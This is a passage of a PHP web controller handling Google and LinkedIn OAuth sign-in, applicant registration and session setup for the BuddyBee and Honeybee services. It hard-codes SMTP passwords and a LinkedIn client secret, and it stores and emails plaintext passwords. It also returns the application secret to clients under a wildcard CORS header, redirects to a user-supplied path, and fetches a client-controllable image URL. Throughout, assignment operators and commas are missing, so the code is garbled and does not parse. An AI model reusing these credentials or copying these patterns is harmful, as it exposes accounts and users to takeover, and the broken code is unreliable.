  6074.             }
  6075.         } else if (isset($_GET["code"])) {
  6076.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6077.             if (!isset($token['error'])) {
  6078.                 $google_client->setAccessToken($token['access_token']);
  6079.                 $google_service = new Google_Service_Oauth2($google_client);
  6080.                 $applicantInfo $google_service->userinfo->get();
  6081.                 $oAuthEmail $applicantInfo['email'];
  6082.                 $oAuthData = [
  6083.                     'email' => $applicantInfo['email'],
  6084.                     'uniqueId' => $applicantInfo['id'],
  6085.                     'image' => $applicantInfo['picture'],
  6086.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6087.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6088.                     'firstName' => $applicantInfo['givenName'],
  6089.                     'lastName' => $applicantInfo['familyName'],
  6090.                     'type' => $token['token_type'],
  6091.                     'token' => $token['access_token'],
  6092.                 ];
  6093.             }
  6094.         }
  6095.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6096.             $isApplicantExist $applicantRepo->findOneBy([
  6097.                 'email' => $oAuthData['email']
  6098.             ]);
  6099.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6100.                 $isApplicantExist $applicantRepo->findOneBy([
  6101.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6102.                 ]);
  6103.             }
  6104.             if ($isApplicantExist) {
  6105.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6106.                 } else
  6107.                     return $this->redirectToRoute("core_login", [
  6108.                         'id' => $isApplicantExist->getApplicantId(),
  6109.                         'oAuthData' => $oAuthData,
  6110.                         'encData' => $encData,
  6111.                         'locale' => $request->request->get('locale''en'),
  6112.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6113.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6114.                     ]);
  6115.             } else {
  6116.                 $fname $oAuthData['firstName'];
  6117.                 $lname $oAuthData['lastName'];
  6118.                 $img $oAuthData['image'];
  6119.                 $email $oAuthData['email'];
  6120.                 $oAuthEmail $oAuthData['email'];
  6121.                 $userName explode('@'$email)[0];
  6122.                 //now check if same username exists
  6123.                 $username_already_exist 1;
  6124.                 $initial_user_name $userName;
  6125.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6126.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6127.                     $isUsernameExist $applicantRepo->findOneBy([
  6128.                         'username' => $userName
  6129.                     ]);
  6130.                     if ($isUsernameExist) {
  6131.                         $username_already_exist 1;
  6132.                         $userName $initial_user_name '' rand(3009987);
  6133.                     } else {
  6134.                         $username_already_exist 0;
  6135.                     }
  6136.                     $timeoutSafeCount--;
  6137.                 }
  6138.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6139.                     $currentUnixTimeStamp '';
  6140.                     $currentUnixTime = new \DateTime();
  6141.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6142.                     $userName $userName '' $currentUnixTimeStamp;
  6143.                 }
  6144.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6145.                 $charactersLength strlen($characters);
  6146.                 $length 8;
  6147.                 $password 0;
  6148.                 for ($i 0$i $length$i++) {
  6149.                     $password .= $characters[rand(0$charactersLength 1)];
  6150.                 }
  6151.                 $newApplicant = new EntityApplicantDetails();
  6152.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6153.                 $newApplicant->setEmail($email);
  6154.                 $newApplicant->setUserName($userName);
  6155.                 $newApplicant->setFirstname($fname);
  6156.                 $newApplicant->setLastname($lname);
  6157.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6158.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6159.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6160.                 $newApplicant->setAccountStatus(1);
  6161.                 //salt will be username
  6162. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  6163.                 $salt uniqid(mt_rand());
  6164.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6165.                 $newApplicant->setPassword($encodedPassword);
  6166.                 $newApplicant->setSalt($salt);
  6167.                 $newApplicant->setTempPassword($password);
  6168. //                $newApplicant->setPassword($password);
  6169.                 $marker $userName '-' time();
  6170. //                $extension_here=$uploadedFile->guessExtension();
  6171. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6172. //                $path = $fileName;
  6173.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6174.                 if (!file_exists($upl_dir)) {
  6175.                     mkdir($upl_dir0777true);
  6176.                 }
  6177.                 $ch curl_init($img);
  6178.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6179.                 curl_setopt($chCURLOPT_FILE$fp);
  6180.                 curl_setopt($chCURLOPT_HEADER0);
  6181.                 curl_exec($ch);
  6182.                 curl_close($ch);
  6183.                 fclose($fp);
  6184.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6185. //                $newApplicant->setImage($img);
  6186.                 $newApplicant->setIsConsultant(0);
  6187.                 $newApplicant->setIsTemporaryEntry(0);
  6188.                 $newApplicant->setApplyForConsultant(0);
  6189.                 $newApplicant->setTriggerResetPassword(0);
  6190.                 $em->persist($newApplicant);
  6191.                 $em->flush();
  6192.                 $isApplicantExist $newApplicant;
  6193.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6194.                     if ($systemType == '_BUDDYBEE_') {
  6195.                         $bodyHtml '';
  6196.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6197.                         $bodyData = array(
  6198.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6199.                             'email' => $userName,
  6200.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  6201.                             'password' => $newApplicant->getTempPassword(),
  6202.                         );
  6203.                         $attachments = [];
  6204.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6205. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6206.                         $new_mail $this->get('mail_module');
  6207.                         $new_mail->sendMyMail(array(
  6208.                             'senderHash' => '_CUSTOM_',
  6209.                             //                        'senderHash'=>'_CUSTOM_',
  6210.                             'forwardToMailAddress' => $forwardToMailAddress,
  6211.                             'subject' => 'Welcome to BuddyBee ',
  6212. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6213.                             'attachments' => $attachments,
  6214.                             'toAddress' => $forwardToMailAddress,
  6215.                             'fromAddress' => 'registration@buddybee.eu',
  6216.                             'userName' => 'registration@buddybee.eu',
  6217.                             'password' => 'Y41dh8g0112',
  6218.                             'smtpServer' => 'smtp.hostinger.com',
  6219.                             'smtpPort' => 465,
  6220.                             'encryptionMethod' => 'ssl',
  6221. //                            'emailBody' => $bodyHtml,
  6222.                             'mailTemplate' => $bodyTemplate,
  6223.                             'templateData' => $bodyData,
  6224. //                        'embedCompanyImage' => 1,
  6225. //                        'companyId' => $companyId,
  6226. //                        'companyImagePath' => $company_data->getImage()
  6227.                         ));
  6228.                     } else {
  6229.                         $bodyHtml '';
  6230.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6231.                         $bodyData = array(
  6232.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6233.                             'email' => 'APP-' $userName,
  6234.                             'password' => $newApplicant->getPassword(),
  6235.                         );
  6236.                         $attachments = [];
  6237.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6238. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6239.                         $new_mail $this->get('mail_module');
  6240.                         $new_mail->sendMyMail(array(
  6241.                             'senderHash' => '_CUSTOM_',
  6242.                             //                        'senderHash'=>'_CUSTOM_',
  6243.                             'forwardToMailAddress' => $forwardToMailAddress,
  6244.                             'subject' => 'Applicant Registration on Honeybee',
  6245. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6246.                             'attachments' => $attachments,
  6247.                             'toAddress' => $forwardToMailAddress,
  6248.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6249.                             'userName' => 'accounts@ourhoneybee.eu',
  6250.                             'password' => 'Honeybee@0112',
  6251.                             'smtpServer' => 'smtp.hostinger.com',
  6252.                             'smtpPort' => 465,
  6253.                             'encryptionMethod' => 'ssl',
  6254. //                            'emailBody' => $bodyHtml,
  6255.                             'mailTemplate' => $bodyTemplate,
  6256.                             'templateData' => $bodyData,
  6257. //                        'embedCompanyImage' => 1,
  6258. //                        'companyId' => $companyId,
  6259. //                        'companyImagePath' => $company_data->getImage()
  6260.                         ));
  6261.                     }
  6262.                 }
  6263.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6264.                 } else {
  6265.                     return $this->redirectToRoute("core_login", [
  6266.                         'id' => $newApplicant->getApplicantId(),
  6267.                         'oAuthData' => $oAuthData,
  6268.                         'encData' => $encData,
  6269.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6270.                         'locale' => $request->request->get('locale''en'),
  6271.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6272.                     ]);
  6273.                 }
  6274.             }
  6275.         }
  6276.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6277.             if ($isApplicantExist) {
  6278.                 $user $isApplicantExist;
  6279.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6280.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6281.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6282.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6283.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6284.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6285.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6286.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6287.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6288.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6289.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6290.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6291.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6292.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6293.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6294.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6295.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6296.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6297.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6298.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6299.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6300.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6301.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6302.                     $session->set('userCompanyVibrantList'json_encode([]));
  6303.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6304.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6305.                     $session->set(UserConstants::USER_APP_ID0);
  6306.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6307.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6308.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6309.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6310.                     $session->set(UserConstants::USER_GOC_ID0);
  6311.                     $session->set(UserConstants::USER_DB_NAME'');
  6312.                     $session->set(UserConstants::USER_DB_USER'');
  6313.                     $session->set(UserConstants::USER_DB_PASS'');
  6314.                     $session->set(UserConstants::USER_DB_HOST'');
  6315.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6316.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6317.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6318.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6319.                     $session->set('locale'$request->request->get('locale'''));
  6320.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6321.                     $route_list_array = [];
  6322.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6323.                     $loginID 0;
  6324.                     $loginID MiscActions::addEntityUserLoginLog(
  6325.                         $em,
  6326.                         $session->get(UserConstants::USER_ID),
  6327.                         $session->get(UserConstants::USER_ID),
  6328.                         1,
  6329.                         $request->server->get("REMOTE_ADDR"),
  6330.                         0,
  6331.                         $request->request->get('deviceId'''),
  6332.                         $request->request->get('oAuthToken'''),
  6333.                         $request->request->get('oAuthType'''),
  6334.                         $request->request->get('locale'''),
  6335.                         $request->request->get('firebaseToken''')
  6336.                     );
  6337.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6338.                     $session_data = array(
  6339.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6340.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6341.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6342.                         'oAuthToken' => $session->get('oAuthToken'),
  6343.                         'locale' => $session->get('locale'),
  6344.                         'firebaseToken' => $session->get('firebaseToken'),
  6345.                         'token' => $session->get('token'),
  6346.                         'firstLogin' => 0,
  6347.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6348.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6349.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6350.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6351.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6352.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6353.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6354.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6355.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6356.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6357.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6358.                         'oAuthImage' => $session->get('oAuthImage'),
  6359.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6360.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6361.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6362.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6363.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6364.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6365.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6366.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6367.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6368.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6369.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6370.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6371.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6372.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6373.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6374.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6375.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6376.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6377.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6378.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6379.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6380.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6381.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  6382.                         //new
  6383.                         'appIdList' => $session->get('appIdList'),
  6384.                         'branchIdList' => $session->get('branchIdList'null),
  6385.                         'branchId' => $session->get('branchId'null),
  6386.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  6387.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  6388.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  6389.                     );
  6390.                     $session_data $this->filterClientSessionData($session_data);
  6391.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  6392.                     $session_data $tokenData['sessionData'];
  6393.                     $token $tokenData['token'];
  6394.                     $session->set('token'$token);
  6395.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  6396.                         $session->set('remoteVerified'1);
  6397.                         $response = new JsonResponse(array(
  6398.                             'token' => $token,
  6399.                             'uid' => $session->get(UserConstants::USER_ID),
  6400.                             'session' => $session,
  6401.                             'success' => true,
  6402.                             'session_data' => $session_data,
  6403.                         ));
  6404.                         $response->headers->set('Access-Control-Allow-Origin''*');
  6405.                         return $response;
  6406.                     }
  6407.                     if ($request->request->has('referer_path')) {
  6408.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  6409.                             return $this->redirect($request->request->get('referer_path'));
  6410.                         }
  6411.                     }
  6412.                     $redirectRoute 'applicant_dashboard';
  6413.                     if ($request->query->has('encData')) {
  6414.                         if ($request->query->get('encData') == '8917922')
  6415.                             $redirectRoute 'apply_for_consultant';
  6416.                     }
  6417.                     return $this->redirectToRoute($redirectRoute);
  6418.                 }
  6419. //                    $response = new JsonResponse(array(
  6420. //                        'token' => $token,
  6421. //                        'uid' => $session->get(UserConstants::USER_ID),
  6422. //                        'session' => $session,
  6423. //
  6424. //                        'success' => true,
  6425. //                        'session_data' => $session_data,
  6426. //
  6427. //                    ));
  6428. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  6429. //                    return $response;
  6430. //                    return $this->redirectToRoute("user_login", [
  6431. //                        'id' => $isApplicantExist->getApplicantId(),
  6432. //                        'oAuthData' => $oAuthData,
  6433. //                        'encData' => $encData,
  6434. //                        'locale' => $request->request->get('locale', 'en'),
  6435. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  6436. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  6437. //                    ]);
  6438.             }
  6439.         }
  6440. //        if ($request->isMethod('POST')){
  6441. //            $new = new EntityApplicantDetails();
  6442. //
  6443. //            $new-> setUsername->$request->request->get('userName');
  6444. //            $new-> setEmail()->$request->request->get('email');
  6445. //            $new-> setPassword()->$request->request->get('password');
  6446. //            $new-> setSelector()->$request->request->get('selector');
  6447. //
  6448. //
  6449. //            $em->persist($new);
  6450. //            $em->flush();
  6451. //        }
  6452.         $selector BuddybeeConstant::$selector;
  6453.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6454.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  6455.         if ($systemType == '_ERP_') {
  6456.         } else if ($systemType == '_BUDDYBEE_') {
  6457.             return $this->render(
  6458.                 '@Authentication/pages/views/applicant_login.html.twig',
  6459.                 [
  6460.                     'page_title' => 'BuddyBee Login',
  6461.                     'oAuthLink' => $google_client->createAuthUrl(),
  6462.                     'redirect_url' => $url,
  6463.                     'message' => $message,
  6464.                     'errorField' => $errorField,
  6465.                     'encData' => $encData,
  6466.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  6467.                     'selector' => $selector
  6468.                 ]
  6469.             );
  6470.         }
  6471.         return $this->render(
  6472.             '@Authentication/pages/views/applicant_login.html.twig',
  6473.             [
  6474.                 'page_title' => 'Applicant Registration',
  6475.                 'oAuthLink' => $google_client->createAuthUrl(),
  6476.                 'redirect_url' => $url,
  6477.                 'encData' => $encData,
  6478.                 'message' => $message,
  6479.                 'errorField' => $errorField,
  6480.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  6481.                 'selector' => $selector
  6482.             ]
  6483.         );
  6484.     }
  6485.     public function centralLoginAction(Request $request$encData ''$remoteVerify 0)
  6486.     {
  6487.         $session $request->getSession();
  6488.         $email $request->getSession()->get('userEmail');
  6489.         $sessionUserId $request->getSession()->get('userId');
  6490.         $oAuthData = [];
  6491. //    $encData='';
  6492.         $em $this->getDoctrine()->getManager('company_group');
  6493.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  6494.         $redirectRoute 'dashboard';
  6495.         if ($encData != '') {
  6496.             if ($encData == '8917922')
  6497.                 $redirectRoute 'apply_for_consultant';
  6498.         }
  6499.         if ($request->query->has('encData')) {
  6500.             $encData $request->query->get('encData');
  6501.             if ($encData == '8917922')
  6502.                 $redirectRoute 'apply_for_consultant';
  6503.         }
  6504.         $message '';
  6505.         $errorField '_NONE_';
  6506.         if ($request->query->has('message')) {
  6507.             $message $request->query->get('message');
  6508.         }
  6509.         if ($request->query->has('errorField')) {
  6510.             $errorField $request->query->get('errorField');
  6511.         }
  6512.         if ($request->request->has('oAuthData')) {
  6513.             $oAuthData $request->request->get('oAuthData', []);
  6514.         } else {
  6515.             $oAuthData = [
  6516.                 'email' => $request->request->get('email'''),
  6517.                 'uniqueId' => $request->request->get('uniqueId'''),
  6518.                 'oAuthHash' => '_NONE_',
  6519.                 'image' => $request->request->get('image'''),
  6520.                 'emailVerified' => $request->request->get('emailVerified'''),
  6521.                 'name' => $request->request->get('name'''),
  6522.                 'firstName' => $request->request->get('firstName'''),
  6523.                 'lastName' => $request->request->get('lastName'''),
  6524.                 'type' => 1,
  6525.                 'token' => $request->request->get('oAuthtoken'''),
  6526.             ];
  6527.         }
  6528.         $isApplicantExist null;
  6529.         if ($email) {
  6530.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6531.                 $isApplicantExist $applicantRepo->findOneBy([
  6532.                     'applicantId' => $sessionUserId
  6533.                 ]);
  6534.             } else
  6535.                 return $this->redirectToRoute($redirectRoute);
  6536.         }
  6537.         $google_client = new Google_Client();
  6538. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6539. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6540.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6541.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6542.         } else {
  6543.             $url $this->generateUrl(
  6544.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6545.             );
  6546.         }
  6547.         $selector BuddybeeConstant::$selector;
  6548.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6549.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6550. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6551. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6552.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  6553. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6554.         $google_client->setRedirectUri($url);
  6555.         $google_client->setAccessType('offline');        // offline access
  6556.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6557.         $google_client->addScope('email');
  6558.         $google_client->addScope('profile');
  6559.         $google_client->addScope('openid');
  6560. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6561.         //linked in 1st
  6562.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6563.             $curl curl_init();
  6564.             curl_setopt_array($curl, array(
  6565.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6566.                 CURLOPT_HEADER => false,  // don't return headers
  6567.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6568.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6569.                 CURLOPT_ENCODING => "",     // handle compressed
  6570.                 CURLOPT_USERAGENT => "test"// name of client
  6571.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6572.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6573.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6574.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6575.                 CURLOPT_USERAGENT => 'InnoPM',
  6576.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6577.                 CURLOPT_POST => 1,
  6578.                 CURLOPT_HTTPHEADER => array(
  6579.                     'Content-Type: application/x-www-form-urlencoded'
  6580.                 )
  6581.             ));
  6582.             $content curl_exec($curl);
  6583.             $contentArray = [];
  6584.             curl_close($curl);
  6585.             $token false;
  6586. //      return new JsonResponse(array(
  6587. //          'content'=>$content,
  6588. //          'contentArray'=>json_decode($content,true),
  6589. //
  6590. //      ));
  6591.             if ($content) {
  6592.                 $contentArray json_decode($contenttrue);
  6593.                 $token $contentArray['access_token'];
  6594.             }
  6595.             if ($token) {
  6596.                 $applicantInfo = [];
  6597.                 $curl curl_init();
  6598.                 curl_setopt_array($curl, array(
  6599.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6600.                     CURLOPT_HEADER => false,  // don't return headers
  6601.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6602.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6603.                     CURLOPT_ENCODING => "",     // handle compressed
  6604.                     CURLOPT_USERAGENT => "test"// name of client
  6605.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6606.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6607.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6608.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6609.                     CURLOPT_USERAGENT => 'InnoPM',
  6610.                     CURLOPT_HTTPGET => 1,
  6611.                     CURLOPT_HTTPHEADER => array(
  6612.                         'Authorization: Bearer ' $token,
  6613.                         'Header-Key-2: Header-Value-2'
  6614.                     )
  6615.                 ));
  6616.                 $userGeneralcontent curl_exec($curl);
  6617.                 curl_close($curl);
  6618.                 if ($userGeneralcontent) {
  6619.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6620.                 }
  6621.                 $curl curl_init();
  6622.                 curl_setopt_array($curl, array(
  6623.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6624.                     CURLOPT_HEADER => false,  // don't return headers
  6625.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6626.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6627.                     CURLOPT_ENCODING => "",     // handle compressed
  6628.                     CURLOPT_USERAGENT => "test"// name of client
  6629.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6630.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6631.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6632.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6633. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6634.                     CURLOPT_USERAGENT => 'InnoPM',
  6635.                     CURLOPT_HTTPGET => 1,
  6636.                     CURLOPT_HTTPHEADER => array(
  6637.                         'Authorization: Bearer ' $token,
  6638.                         'Header-Key-2: Header-Value-2'
  6639.                     )
  6640.                 ));
  6641.                 $userEmailcontent curl_exec($curl);
  6642.                 curl_close($curl);
  6643.                 $token false;
  6644.                 if ($userEmailcontent) {
